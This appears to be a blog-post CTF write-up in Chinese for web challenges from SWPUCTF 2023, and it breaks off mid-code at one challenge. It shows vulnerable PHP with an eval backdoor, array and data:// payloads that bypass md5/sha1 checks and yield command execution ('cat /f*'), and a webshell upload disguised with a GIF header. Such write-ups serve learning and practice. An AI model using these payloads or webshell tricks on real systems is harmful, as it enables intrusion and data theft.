[SWPUCTF 2023 秋季新生赛]——Web方向 详细Writeup

本文围绕Web CTF题目展开,涵盖colorful_snake、NSS_HTTP_CHEKER等多个题目。涉及利用网站转换、绕过加密、文件上传、反序列化、无回显RCE、SQL注入等多种解题方法,还介绍了通过构造payload、利用魔术方法、使用DNSlog外带数据、报错注入、爆破等技巧获取flag。

Web

colorful_snake

来玩贪吃蛇~

F12查看源代码,可以看到this_is_real_flag函数,发现是unicode编码

image-20231019080029726

利用网站转换得到flag

image-20231019080055922

一键连接!

连连need

<?php
highlight_file(__FILE__);
error_reporting(0);
$md5_1 = $_GET['md5_1'];
$md5_2 = $_GET['md5_2'];
$sha1_1 = $_GET['sha1_1'];
$sha1_2 = $_GET['sha1_2'];
$new_player =$_GET['new_player'];
if ($md5_1 !== $md5_2 && md5($md5_1) === md5($md5_2)) {
   
   
    if ($sha1_1 != $sha1_2 && sha1($sha1_1) === sha1($sha1_2)) {
   
   
        if (file_get_contents($new_player) === "Welcome to NSSCTF!!!") {
   
   
            echo "Congratulations~~~~~~~~~";
            echo "试试need Antsword<br/>";
            @eval($_POST['Nss']);
        }else{
   
   
            echo "可曾听过data协议?";
        }
    } else {
   
   
        echo "sha1又如何相等呢";
    }
} else {
   
   
    echo "如何让md5值相等呢¿";
} 

第一 层要让md5_1md5_2经过md5加密后强比较类型相等,并且md5_1不等于md5_2,这里可以用数组绕过

构造payload

?md5_1[]=1&md5_2[]=2

第二层便是绕过sha1加密,这里也可以用数组

payload:

sha1_1[]=3&sha1_2[]=4

接下来可以看到file_get_contents,这个函数的内容就是显示文件内容,可以利用data协议传入数据流

payload:

new_player=data://text/plain,Welcome to NSSCTF!!!

接下来利用Nss来进行RCE即可,最后发包如下

?md5_1[]=1&md5_2[]=2&sha1_1[]=3&sha1_2[]=4&new_player=data://text/plain,Welcome to NSSCTF!!!

POST DATA:
Nss=system('cat /f*');

image-20231019084245373

NSS_HTTP_CHEKER

来看看你的HTTP知识储备!

image-20231019084418065

好好好,喜欢这种,直接秒了

Burp发包如下

image-20231019084817744

ez_talk

文件上传,先直接上传个php文件

image-20231019133823355

试一试修改MIME类型,但是被过滤

image-20231019133932588

猜测是不是有文件头检测,添加文件头GIF89a?可以看到绕过,路径被翻转

image-20231019134158540

直接访问

http://node6.anna.nssctf.cn:28908/uploads/shell.php

可以看到已经挂马成功,直接RCE得到flag

image-20231019134435505

Pingpingping

程序未响应

<?php
highlight_file(__FILE__);
error_reporting(0);
$_ping = $_GET['Ping_ip.exe'
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Leafzzz__

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值